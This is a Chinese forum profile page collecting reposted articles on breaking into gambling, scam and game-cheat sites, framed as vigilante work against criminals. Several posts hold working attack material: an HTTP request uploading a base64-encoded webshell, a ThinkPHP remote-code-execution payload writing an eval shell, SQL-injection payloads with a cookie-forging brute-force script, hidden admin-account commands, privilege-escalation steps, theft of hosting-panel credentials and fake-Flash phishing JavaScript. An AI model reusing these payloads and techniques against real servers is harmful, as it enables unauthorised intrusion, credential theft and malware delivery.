跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 从某个大哥手里拿到一个菠菜得day,是一个任意文件上传得0day,通过任意文件上传获取到webshell,但是扫描端口能看到开启了宝塔。 然后就出现了下面的问题。 使用哥斯拉的bypass插件可以执行命令。 用户为WWW,宝塔的默认用户,接下来就是常规操作,提权、SSH登陆拿宝塔。 先进行提权,上传脏牛然后看能够使用的提权exp。 运行之后使用CVE-2021-4034进行提权,先把EXP文件上传到菠菜服务器。 反弹shell,然后进入exp文件夹编译运行即可获取到root权限。 获取到root权限之后就办事了,创建账户、赋权限即可。反弹的shell因为vim不了,然后就把他passwd文件保存在本地然后第三列给0,这样子登陆在之后就是root。 创建的账户是ftpp,然后保存为passwd文件上传到web目录,使用提权后的root权限先删除passwd然后在copy过去即可。 因为这个服务器有宝塔控制面板,所以先进入/www/server/panel/data,这个文件夹里面有一个default.db文件,这个是宝塔的配置数据文件。保存在本地之后修改他的宝塔密码,登陆即可。然后在结束之后记得把db数据文件还原回去,这样他的密码还是原来的密码。 然后修改密码登陆即可。 通过登陆可以看到站点的完整信息,还有数据库密码,web目录,还有他的手机号,但是手机号只有前三后四,中间四位是*号,之前查手机号的办法也没用了,其实打到这里就可以,交给警察叔叔抓人就可以了。 转自于原文链接: https://mp.weixin.qq.com/s/iUipOa4BI8mCBJ7o2QgJrA
  2. 前言本文仅用于交流学习, 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 渗透测试可分为三个阶段 信息收集 尽可能的收集所有关的资产信息确定测试范围 漏洞发现 针对收集的资产进行进一步的漏洞检测 漏洞利用 针对发现的漏洞进行进一步的利用以及利用的程度 1.js中的api接口 2.多端口形站点3.客服系统钓鱼引导等4.积分系统针对脆弱的旁站5.充值接口6.找源代码分析某演示站泄露的源码白盒分析 7.bc后台根于js资源url,子域,等多种方式找一般小站大多是自域前加 ad ag admin 123admin ht等等 转载于原文链接: https://mp.weixin.qq.com/s/ZGNKIkfOidLPpjT856LHxw
  3. 0x01 漏洞描述 网络dubo是指通过互联网手段(非法dubo网站、菠菜App、微信群等)进行的赌博活动。由于网络dubo不合法,资金不受法律保护,有很多“出老千”的行为,很多人被骗后往往不敢报警,导致家破人亡,所以打击dubo,刻不容缓。某菠菜系统系统存在任意文件上传漏洞,攻击者通过漏洞可以上传木马文件,导致服务器失陷。 0x02 漏洞复现 fofa:body="main.e5ee9b2df05fc2d310734b11cc8c911e.css" 1.执行POC,上传冰蝎马,返回上传路径 POST //statics/admin/webuploader/0.1.5/server/preview.php HTTP/2Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1If-Modified-Since: Mon, 05 Sep 2022 01:19:50 GMTIf-None-Match: "63154eb6-273"Te: trailersContent-Type: application/x-www-form-urlencodedContent-Length: 746 data:image/php;base64,PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pg==s 2.冰蝎连接,得到一个webshell 冰蝎默认连接密码:rebeyond 3.nuclei批量验证脚本已发表于知识星球(存在较多资产) nuclei.exe -t bocaijngj_upload.yaml -l subs.txt -stats 转载于原文链接: https://mp.weixin.qq.com/s?__biz=MzkyMTMwNjU1Mg==&mid=2247486261&idx=1&sn=2ea324e5b3b895bd500a509bd15ae90f&chksm=c184dfe2f6f356f47a5f80d045fac890227a508488b23898482ce4f9daa91feccc54d2f83629&scene=178&cur_album_id=2581677939042598912#rd
  4. 逛QQ空间刷到了 于是有了下文。打开站点,很贴心,前台后台都可以进。 下面说漏洞点 sql注入,有一套程序基于某个模板二开,正好我手里有这套模板且审计过。所以轻松拿下。 无任何过滤,直接注即可。 任意文件上传 这个我怀疑是开发自己留的后门。 看得懂的人一眼就看出来了。直接本地新建表单提交即可。 但是目标站有个问题,上传不回显路径,应该是注释了echo。本地搭建测试, 上传文件名修改为这个格式。 思路:本地复现upload,然后和远程同时提交,同一个时间点,返回的文件名应该是一样的。 测试: 复现成功。 点到为止。 另求教各位精通php审计的大佬 这段代码可否有利用点。 尝试各种截断始终无法执行php代码。 转载于原文链接: https://mp.weixin.qq.com/s/hduQd7Jm72b00oSU9Ip1BQ
  5. 一、案例1因为最近吃鸡被外挂打自闭了,所以准备也让那些卖挂的体会一下什么叫做自闭。昨天晚上爬了快1000个卖吃鸡外挂的平台 你们这些卖挂的,等我有空了一个一个捶。 发现大多数都是用的一套aspx的程序,可惜没有源码不能白盒审计,黑盒也找不到什么洞 只能找找软柿子捏,昨天晚上一口气锤了四个 基本上都有宝塔 不过php-venom 4 系列加上配套的编码器过宝塔稳得一批 脱了裤子发现里面4000+数据 今天晚上又锤了一个吃鸡外挂站 可惜尴尬的是没有写入权限 写篇大水文记录一下 1. 无套路进后台 这个应该算是那种推广站,里面什么都没有,只有宣传内容 管你是什么,照锤不误。 看了一下是织梦二次开发的站 后台很容易进,这里大家都明白什么意思。 2.玄学后台发现后台删了很多功能,特别是织梦的坑货文件管理器 但是从经验上来说很多这种二次开发的并不是真的把编辑器删掉了,只是在后台页面不显示了。 审查元素启动 随便找个链接改一下,替换成media_main.php?dopost=filemanager 然后点击,果然找到了文件管理器页面 上传shell 本来以为就这样结束了 结果发现虽然提示上传成功但是啥都没有 还以为是waf,就换了人畜无害的一张jpg上去也是啥都没有 以为是目录权限问题 找到session的临时文件,上传,照样不行 图就不放了,总之就是传不上去 觉得可能是整站没写权限 随手试试删除功能,发现可以删文件 emmmmm,所以到底是有权限没有呢 一般来说没写权限的话也就没有修改权限,也就是没有删除权限 想着是不是上传功能坏了,换个方法getshell吧 3.geshell失败首先想到的就是改文件,里面放个shell 显示csrf token不对 搜了搜怎么解决 发现是直接改check函数,第一句加上return 结果修改config.php 文件也弹这个错误 所以就陷入死循环。。。 改标签也是一样的错误。 然后试了织梦的各个0day,后台代码任意执行 提示执行成功了,但是要么404页面,要么就是csrf token报错 为啥老是csrf token检测失败,以前就没遇到过这种问题。是我操作不对吗? 如果有表哥知道为什么的话麻烦告诉我一下谢谢 4.成功getshll本来想想算了,然后出去吃了个饭。 然后想着既然是弱口令会不会有其他人的后门呢。 就想起来织梦有个自带的后门查杀功能 同样的审查元素,找到后门查杀功能,开始扫描 果然发现可疑文件 然后一看全是其他人的后门 随便找一个,连接上去 5. 最后发现是星外主机,并且全站没有写入权限,难怪传不上去。。。 翻了翻目录,不能跨站,没写权限,无法bypass disable function 等于是啥都没有。。。 但是神奇的是可以任意文件删除 站就不删了,保存一下证据 二、案例2首先打开网站我们可以看到他的炫酷界面 暖心公告 不要脸的宣传词 1.发现注入基于tp3开发,后台/admin 尝试万能密码 提示密码错误 尝试admin admin888 提示账号不存在 两者回显不同,考虑可能存在注入 2.无法利用burp抓包发送到repeater进行进一步测试 发现条件为真时返回status: -2,条件为假时返回status: -1 进一步印证了猜想,后台存在注入 扔到sqlmap跑 无法检测出注入,提示一堆404 not found 开始以为是cdn封锁了sqlmap的流量,后来发现根本没什么防护。。。虚假的cdn 于是考虑可能是cms自身过滤了一些东西 3.绕过过滤经过测试发现只要出现尖括号就会返回404 可以用between来绕过 这时就继续按照 条件真=>-2 条件假=>-1 来回显 也就满足了盲注的条件 忽然一想这个情景跟第五空间决赛的那道注入题一毛一样 真返回一个页面 假返回另一个页面 出现被过滤字符返回其它页面 并且要用between来绕过 CTF诚不欺我 所以只要在sqlmap的参数里加上--tamper=between 即可 4.最后数据库里管理员密码用的aes加密,没有秘钥,无法解密。 普通用户登录口被关闭,无法注册也无法登录。 除了脱出来一堆孤儿的信息其他也没什么用 打包一下证据,全部提交有关部门 转载于原文链接: https://mp.weixin.qq.com/s/Bms1EPvpb1S7sU2KQX8ctA
  6. 我们找到一个带有有漏洞的QP后台框架的后台 这个框架有很多的漏洞,比如用户遍历,我们如果输入一个存在的用户,密码错误时,就会提示用户或密码错误,如果我们输入一个不存在的用户,就会提示用户不存在 除此之外,网站还会存在SQL注入漏洞,我们只需要抓一个提交账号密码的POST包 粘贴好一个txt文档然后丢进sqlmap, 是mssql,我们可以开启xp_cmdshell,这里我们打算写入webshell,所以先os-shell判断出路径(超级慢) 然后利用xp_cmdshell写入webshell 成功上线 然后我打算上线cs进行下一步操作,尝试了web传递,但是被杀软拦住了 很烦,没办法,只能尝试免杀上线,这里我用的免杀方法是分离免杀 生成payload,然后写一个shellloader并且base64编译一下 我把shellcode放到了vps上 把shellloader上传到目标 一,二,三上线! 没错,低权用户,多次尝试提权都不成功,最后还是sweetpotato拿下了 拿到了我最爱的system 添加用户 net user admin$ admin@123 /add添加到管理员组 net localgroup administrators test /add直接3389连接 拿到远程桌面本来打算fscan扫一下的,但是发现内网的ip和平常不一样,扫了一下发现出现很多主机,于是判断这是一个vps,故渗透到此为止。 转载于原文链接: https://mp.weixin.qq.com/s/ch3zcIlUPpZ8tjCJttwarQ
  7. 0X00 歪打正着 无意间碰到一套垃圾菠菜网站杀猪盘 挨个访问能扫描出来的目录与文件发现并没有太大作用,不过发现了后台地址。phpmyadmin访问500。 访问xd.php到后台访问发现还需要授权验证码 试了下8888,123456之类的都提示错误,当场关闭。 尝试子域名爆破也只有一个。Nmap扫描也没有什么发现。返回首页发现url有点不常见。 0X01 寻找同类型网站以及源码这种搞诈骗的很少会开发肯定源码是从网上下载找人搭建的,不常见就是特征,于是搜索了下。 0X02 开始审计这么多网站那源码肯定烂大街了,于是花了点时间找到了源码,尝试审计。 下载回来源码用seay扫描下,源码又太大我也懒得去本地搭建,直接用源码对着目标进行怼。 从中发现了个fileupload.php文件好像有点问题。 访问目标发现也存在该文件。把该文件提取出来到本地搭建的环境中做测试。 直接访问会自动创建出upload和upload_tmp两个文件夹,这玩意是个demo这个点其实看起来更像个后门。 并且filename变量完全是可控的。 继续往下看发现一些判断,可以表单上传名就为file。文件上传 其他的就不用管了,直接改个上传表单。只要加上参数name和file就行了。 name参数控制上传文件名为aaa.php 选择1.jpg上传 上传后没有返回路径但是在upload下已经存在aaa.php文件。 SQL注入 变量中where的值又是来自request中,并且上面的checkinput中也没有检测type的值。 跟入betListCnt 没有任何处理就直接带入查询了,类似点还有许多。0X03 验证审计到的漏洞 通过之前的上传拿到webshell,尝试提权。 发现是debian的。发现有6379端口但是不是root用户启动的redis 看了下内核版本感觉应该可以,尝试寻找提权exp。 生成msf马 为了方便我就用msf上线了这台机器。然后寻找对应的提权exp。0X04 尝试提权找到这两个CVE-2019-13272、CVE-2017-16995当我在github上找利用工具的时候,我想起msf其实也自带提权的。于是尝试搜索了下 搜到了就利用 结果当场失败 尝试第二个CVE-2017-16995 成功返回一个root权限的会话,提权完毕 转载于原文链接: https://mp.weixin.qq.com/s/Yh0qq5imlfHhNQnbtPfxcA
  8. 0x00 前言打开链接,发现是一个luo聊的app下载,夜神+burp抓包 获取到网址,通过js的文件特征去github查找源码文件根据代码发现他是一个kjcms,然后去官网下载源码来进行审计0x01 sql注入在cls_weixin::on_exe方法中,有许多执行sql语句的点这里注入需要满足$arr_msg[‘FromUserName’]可控,发现$arr_msg变量调用了当前类的get_msg()方法,跟进这个方法:static function get_msg() { $arr_return = array(); $cont = file_get_contents("php://input"); //$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt"); if(empty($cont)) return $arr_return; $request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA); $arr_return = fun_format::toarray($request); return $arr_return;}发现$cont是通过post数据流获取的,传入的xml,继续跟进fun_format::toarraystatic function toarray($cont) { if(gettype($cont) == "string") $cont = json_decode($cont); $arr = (array)$cont; foreach($arr as $item=>$key) { if(gettype($key) == 'object' ) { $key = self::toarray($key); } else if(gettype($key) == 'array'){ $key = self::objtoarray($key); } $arr[$item] = $key; } return $arr;}这里不太重要,只是把xml的值转化为数组,所以在on_exe方法中的$arr_msg数组是可控的,即可以产生sql注入,经过本地测试发现,在on_exe方法中的数据查询很多都不存在表,这里发现一个点:跟进tab_weixin_message::get_one方法,参数$key是我们可控的,参数$site_id无关紧要全局查找cls_weixin::on_exe,在根目录weixin.php调用了这个方法<?phpinclude("inc.php");if(isset($_GET["echostr"])) { echo $_GET["echostr"];exit;}cls_weixin::on_exe();现在就只需要构造payload了,这里要进入到执行tab_weixin_message::get_one方法,需要进过:issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType'] == 'event'->$arr_msg['Event']) == 'click' 这个点只能时间盲注,在我本地测试的时候可以通过updatexml(1,if(({}),0x7c,1),1)的方法来实现时间盲注变成布尔注入,目标环境问题无法实现,我就写了个脚本去跑账号密码。发现自己傻逼了,在目录文件中会生成数据库报错的文件,路径为:/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)知道表结构和字段,直接去目标站注入,拿到后台密码hash,发现解密不了,看了下代码,有盐,是通过md5(pass+盐)进行加密的,这里盐也是在密码表中可以看到的,发现也解密不了。 0x02 伪造cookie在登录处,发现cookie中的kj_s_id和kj_login_time是用来登录的,感觉可以伪造,这里我跟进下代码,看下kj_s_id是怎么生成的,验证登录处代码: function act_login_verify() { $arr_return = $this->on_login_verify(); return fun_format::json($arr_return); }跟进on_login_verify方法function on_login_verify() { $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok")); $arr_fields = array( "user_name" => fun_get::post("uname"), "user_pwd" => fun_get::post("pwd"), "verifycode" => fun_get::get("verifycode"), "autologin" => fun_get::get("autologin") ); if(!fun_is::pwd($arr_fields["user_pwd"])) { $arr_return["code"] = 7; $arr_return["msg"] = fun_get::rule_pwd("tips"); return $arr_return; } $arr = cls_obj::get("cls_user")->on_login($arr_fields); if( $arr["code"] != 0 ) { $arr_return = $arr; return $arr_return; } return $arr_return;}$arr_fields数组中获取登录的账号密码,继续跟进on_login方法$str_id是通过fun_get::safecode方法来的,现在只需要$perms[‘sid’]是怎么来的,跟进查看,并没发现到什么,这里,我直接打印出self::$perms[‘sid’]的值,发现是ip+时间戳+随机数的形式echo self::$perms['sid'];exit;发现这里数据存放在数据库的kj_sys_session表中的session_id字段,而session_user_id表示是否登录在,1表示登录在,0表示退出了登录。我们有注入点,这个session_id我们可以通过注入来获取到的,现在跟进fun_get::safecode方法,看cookie中的kj_s_id是怎么加密的跟进$str_key变量,看他是从哪里来的,跟进cls_config::MD5_KEY,发现他来自data\config\cfg.env.online.php中的MD5_KEY常量。而这个常量是安装的时候随意random的五位数最后获取的$str_return是由3部分组成$str_left,base64($msg_val),$str_right,所以这个$str_key变量需要我们继续爆破,并且知道fun_get::safecode方法的$msg_val参数是ip+时间戳+随机数的形式,下面就进行漏洞复现。0x03 漏洞复现首先抓取目标站后台登录时的cookie,如:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg,假设我的ip地址为104.192.225.86,通过base64为MTAzLjE5Mi4yMjUuODY=,去掉=。本地经过测试发现ip+时间戳+随机数通过base64编码后为36位,所以上面的加密密文就为:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg我们通过注入获取$msg_val参数和登录状态<?xml version="1.0"?><note> <ToUserName>cccc</ToUserName> <FromUserName>1</FromUserName> <MsgType>event</MsgType> <Event>click</Event> <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#</EventKey></note>成功读取到了,这里就需要爆破MD5_KEY,他是五位数的,用他的代码修了下php的爆破脚本<?phpfunction safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552 $str_key = $str_key_val; $str_en_key = base64_encode($str_key); $str_md5_key = md5($str_key); $str_md5_key_1 = substr($str_md5_key , 0 , 1); $str_md5_key_2 = substr($str_md5_key , -1 , 1); $lng_key_1 = ord($str_md5_key_1); $lng_key_2 = ord($str_md5_key_2); $lng_x_key1 = substr($lng_key_1,-1,1); if($lng_key_1 > 9) { $lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1; }else{ $lng_x_key2 = $lng_x_key1 * 2; } $str_left = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2)); $lng_2_key1 = substr($lng_key_2 , -1 , 1); if($lng_2_key1 > 9){ $lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1; }else{ $lng_2_key2 = $lng_2_key1 * 2; } $str_right = base64_encode(substr($str_md5_key , -$lng_2_key2)); if($msg_type == "encode"){ $str_en_id = base64_encode($msg_val); $str_en_code = $str_left . $str_en_id . $str_right; $str_return = str_replace("=" , "" , $str_en_code); }else{ $str_left = str_replace("=" , "" , $str_left); $str_right = str_replace("=" , "" , $str_right); $str_llen = strlen($str_left); $str_rlen = strlen($str_right); $str_len = strlen($msg_val); if($str_len < ($str_llen + $str_rlen)){ $str_return = ""; }else{ $str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen)); } } return $str_return; } function getNumber($start=1,$end=99999){ for ($i=$start; $i <= $end; $i++) { $arr[] = substr(str_repeat("0",6).$i,-5,5); } return $arr;} $numbers= getNumber(1,99999);foreach ($numbers as $val){ $keyss = safecode('105.112.215.421600227695831','encode',$val)."<br />"; echo $keyss.':'.strval($val)."<br />"; if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){ echo $val; exit; }}成功获取到了MD5_KEY,然后我们在通过这个脚本利用这个MD5_KEY来生成kj_s_id最后就可以伪造cookie登录后台了0x04 重装漏洞getshell本来以为后台可以直接修改文件上传的后缀,发现事情并没有那么简单发现还是限制了php无法上传,跟进这部分代码看了下,lib\tab\tab.other.attatch.php这里会先获取上传文件的后缀,来判断后缀是否存在$arr_no_allow_ext数组中,所以会先判断数组里面的上传类型,在判断允许上传的类型。这里只有针对windows可以getshell了,我们将上传类型修改成php(空格),由于windows特性,会把空格去掉。然而我们的目标是linux,这种方式不行了,再回来看看代码后台是否有getshell的点,除了在重新安装的点就没发现可以shell的点了(自己太菜了,找到不影响正常功能shell的点)。在文件app\model\install\mod.index.php中的on_config方法:mysql的账号密码是通过file_put_contents函数写入到配置文件\data\config\cfg.env.online.php,并没有通过这个cms的过滤函数fun_get::get/post方法,这个方法过滤如下:static function filter_base($str_x , $is_reback=false) { $search = array("&amp;","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10)); $replace = array("/amp;/amp;/amp;","&amp;","&amp;","&quot;","&#039;","&lt;","&gt;",chr(13)); if($is_reback) { $str_x = str_replace($replace , $search , $str_x); $str_x = str_replace('\\\'',"'",$str_x);//替换经过mysql转义的格式 $str_x = str_replace('\\"','"',$str_x); }else{ $str_x = str_replace($search , $replace , $str_x); } return $str_x;}全局查了下,$is_reback参数都是为默认的false,为true的话,这个过滤就没啥影响了。现在重装漏洞的点可以实现了,需要一处任意文件删除来将\data\install.inc锁文件进行删除就可以重新安装了。在后台系统日志处,有一次日志文件删除的点,这个点不用看代码都知道可以删除,因为在fun_get::get/post方法中并没有过滤/``.。删除了install.inc锁文件就可以进行重新安装了。在数据库名填上我们的任意php代码,就可以shell了。重装漏洞虽然可以拿下shell但是不推荐使用重装漏洞会影响正常网站的数据 转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486466&idx=1&sn=121b62ef2740e8474119c3914d363e4c&chksm=ce67a69bf9102f8deac87602cbb4504f9a59336fb0113f728164c65048d0962f92dd2dd66113&scene=21#wechat_redirect
  9. 最近偶然发现一个虚拟货币买涨跌的杀猪盘,遂进行了一波测试,前台长这样。 为thinkphp5.0.5随用RCE进行打入,成功写入webshell。 s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7)) 查看发现phpinfo信息发现已经禁用所有能够执行系统命令的函数,且com和dl加载都不能用无法执行相应的系统命令如下所示: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open //php如上系统命令都已禁用 但有文件的读写权限没有禁用assert(),file_put_contents()等函数,查看后发现为windows系统如下所示: 由于php执行系统命令的函数都被禁用了,从而导致无法执行系统命令很难受。之后下载了他的网站源码简单看了一波,发现其管理员cookie固定且可以伪造如下所示看着像后门: 故可后台登录绕过,管理员cookie固定,添加cookie字段即可登录绕过。浏览器f12,在cookie中添加上述键值访问index,即可成功后台登录如下所示好多钱(被骗的人好多): 前台询问客服了解到转账账户(该杀猪盘运作方式是用户将钱打入客服提供的账号后,用户再在自己的账号冲入相应数值的资金至后台审核,审核后即可使用该数值的钱进行货币的涨跌投资买卖交易),留作证据上交: 由于之前一直无法执行系统命令,想要突破一下就开始翻他服务器上的文件,翻阅系统文件发现存在宝塔的文件夹,探测发现确实开放8888端口存在宝塔服务但默认登录入口已被修改,如下所示: 翻阅宝塔文件发现存储路径的文件名admin_path.pl,如下所示: 找到宝塔登录入口,成功访问该登录入口,如下所示: 继续翻阅发现一个default.pl的文件,该文件中存放的是相应的登录密码: 拿到密码尝试了默认用户名发现不对不能登录,继续翻文件default.db文件是记录登录记录的,找到登录账号: 利用账号密码成功登录宝塔管理后台,如下所示:利用账号密码成功登录宝塔管理后台,如下所示: 找到定时任务处修改计划任务执行cs上线马,上线后在将计划任务改回如下所示: cs成功上线如下所示: 查看ip仅有公网地址无内网,同C段还有其他几台部署的都是同一套东西就不在往下搞了: 总的就这样,没啥东西比较无味 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486570&idx=1&sn=0c20fbbf4adbeb5b555164438b3197f7&chksm=ce67a6f3f9102fe51b76482cd7d6bb644631ae469d8c1802956034077137ecd49ea56c8d2b1f&scene=21#wechat_redirect https://xz.aliyun.com/t/8224
  10. 0x00 前言随着菠菜类违法站点的肆虐,让无数人妻离子散。为此,献上一份微薄之力,希望能给“有关部门”提供一些帮助。今天给大家表演的是收割BC天恒盛达。 0x01 程序介绍程序采用PHP5.4 + MySQL 程序结构如下 基本上目前做此类违法站点的不法分子,除了外包以外就是天恒、大发几套程序模改的。暂时,这边由于技术水平上面的问题,只能够发出天恒的。版本可能有点老。但是,一大部分还是用的。经某位不愿透露自己姓名的网友4月中旬实测,大约70%的存在这些问题,而使用这套程序的违法站点经过半个小时的采集大约在5000~20000左右。 0x02 漏洞详情1、money - SQL注入 web\wjaction\default\PayOnlineBack.class.php 继续跟进money,此处为GET获取,接着看条件 条件展示,第一个为Key验证,这个在配置文件里。如果Key错误则表示所有订单都无法生效。也就是说Key肯定是在URL请求内,这个验证即可绕过。 继续看条件,这里是生成一个MD5值进行校验。但是这种校验是有缺陷的,此处并未把key的值带入进去。所以我们直接提交的时候,把$tno.$payno.$money都设为空。那么我们将获取$md5key的MD5值。因为$sign在URL中能展示出来。解密后,我们再按照他的验证机制就可以写脚本,进行注入了。 往下继续看,交易号随机来就行了。 继续看,最后一个验证。这里的用户名肯定是真实的,所以这里的验证就算是废掉了 接下来,根据前面的分析,就可以注入了。最重要的一点就是猜解出md5Key的值。 2、订单信息 - 存储XSS 订单信息 -> 用户名 在默认支付提交表单的地方,前台and后台未经过滤就导致了XSS存储型漏洞 3、后台无验证 - Getshell lib/classes/googleChart/markers/GoogleChartMapMarker.php 任意代码执行漏洞,google变量通过GET获取数据接着就执行,比较低级的问题我就不写代码部分了。(此漏洞并不高效,大约30%几率) 0x03 总结 这套源码不仅仅这几个洞,大家可以练练手自己挖一下。其次本来想着放出来采集未收录违法站点工具的,但是后来想想,避免让“其他”安全人士误入歧途,也就此消除了这个想法。依旧水文一篇,望各位表哥多多指点! 转载于原文链接: https://mp.weixin.qq.com/s/7R3OrGPmUesDz4YKuxoJjw
  11. 0x00 概述 某天,一位网上朋友告诉笔者,他被骗了。被骗方式很独特,因为自己没钱所以选择贷款,在贷款过程中惨遭诈骗。 诈骗短信: 0x01诈骗过程 (此处受害者用小辉代替) 某日,小辉手机收到一条关于网络贷款的短信,恰逢月底,捉襟见肘,小辉没忍住诱惑下载打开了app。注册好账号,填写好身份证号、手持、工作地点、家人信息等后申请了20000元贷款,但是迟迟没到账,小辉询问客服得知:亲,这边申请贷款需要先缴纳688的VIP费用哦,缴纳后VIP费用会连同贷款金额一起打款到您的银行卡账户。小辉想了想,也不亏,于是将下个月房租开通了VIP待遇。 小辉开通了VIP待遇,以为就能顺利贷款度过月底,但是还是没收到贷款金额以及VIP费用。这次客服主动联系小辉,"您的信用额度不够,需要再刷流水3500元,请缴纳现金证明还款能力,缴纳后费用会连同贷款金额一起打款到您的银行卡账户"。 小辉急了,眼看着下个月房租没着落了,咬咬牙找朋友借了3500元再次打给客服提供的银行卡号,心想,这次你总没什么借口了吧!20000块钱,拿来吧你!小辉已经想好贷款下来两万块如何吃喝玩乐了~~~ 可是幸运女神还是没有照顾小辉,客服再次联系小辉,称已经审批成功即将下款,但是还需要支付3000的工本费用,且费用会连同贷款金额一起打款到银行卡账户,小辉傻眼了,紧接着,客服将后台生成的虚假的合同发送给了小辉。 小辉急了,自己就贷个款而已,却损失了几千块钱还要上征信,关键贷款的钱还没到手!小辉眼看着事情越闹越大,找到了我,经过小辉的一番描述,我查看了小辉手机上的贷款软件,无奈的告诉小辉,你被骗了,钱要不回来了。小辉此刻也愣住了,流下来悔恨的泪水...... ps:以上仅为诈骗真实过程,所有细节旁白均为本人添油加醋。笔者也就此对市面上两款常见诈骗源码进行简单分析并将其记录。 0x02 漏洞分析1.第一套源码漏洞分析 (1) Thinkphp日志泄漏 基于Thinkphp3.2.3开发,前后台分离 默认开启Debug、导致泄漏日志SQL信息、异常缓存 构造Payload:App/Runtime/Logs/21_10_16.log 获取泄漏的admin表账号密码,进入后台 (2) 数组可控导致RCE可上传文件名被直接带入数据包中 此处猜测后端将文件名以数组的方式进行控制(在拿到webshell后也证明了这个猜想是正确的) 将可上传的文件名加入php,随后上传拿到Webshell 查看对应配置文件,发现可上传后缀名是在数组当中,此处还可以利用插入闭合数组进行Getshell payload:siteName=11111').phpinfo();// 来看看后端如何处理的,因为return array的原因 必须加上字符串连接符"." 再登陆后台查看Payload是否执行 2.第二套源码漏洞分析(1)客服处Websocket-XSS笔者能力有限,第二套诈骗贷款源码疑似一键搭建,均采用最新版宝塔+宝塔免费版WAF,在权限获取方面不足,转而向客服处寻找突破点 前台: 找到客服入口,上传图片,会转到通过websocket上传的数据包 修改websocket数据包,构造XSS Cookie Get 三.客服系统控制/PC控制3.1控制数据库登陆mysql数据库查看诈骗嫌疑人登陆IP 杭州的电信基站动态IP,判断是家庭路由,暂无溯源价值。 0x03 控制客服系统第一套诈骗源码的客服系统使用的是网上在线客服系统 在后台翻到了客服的后台登陆地址,前端显示账号存在or密码错误,无奈账号没爆破成功。 随即笔者自己注册了该客服系统,通过adminid配合uid遍历SetCookie,越权成功,拿到客服账号。 中文账号== 爆破拿到密码 登陆客服后台 整个诈骗话术链 与受害人聊天记录 0x04 使用flash钓鱼在控制诈骗app服务器权限后,笔者使用flash钓鱼试图控制诈骗团伙个人PC。 在后台登陆成功后跳转的文件插入跳转js 跳转到事先准备好的假的flash更新页面 事先准备:免杀马一只 flash假域名一个(最好是包含有"flash"的字样) <script>window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};alert("您的FLASH版本过低,请尝试升级后访问改页面!");window.location.href="https://www.flashxxxx.com";</script> 效果: 输入账号密码后登录,此时加载以上JavaScript。 点击"确认"跳转到事先伪造的flash更新页面网站,诱导下载点击。 但是最后并未上线,通过日志发现诈骗团伙是登陆了该后台的,此处也算是一个小遗憾。 0x05 总结 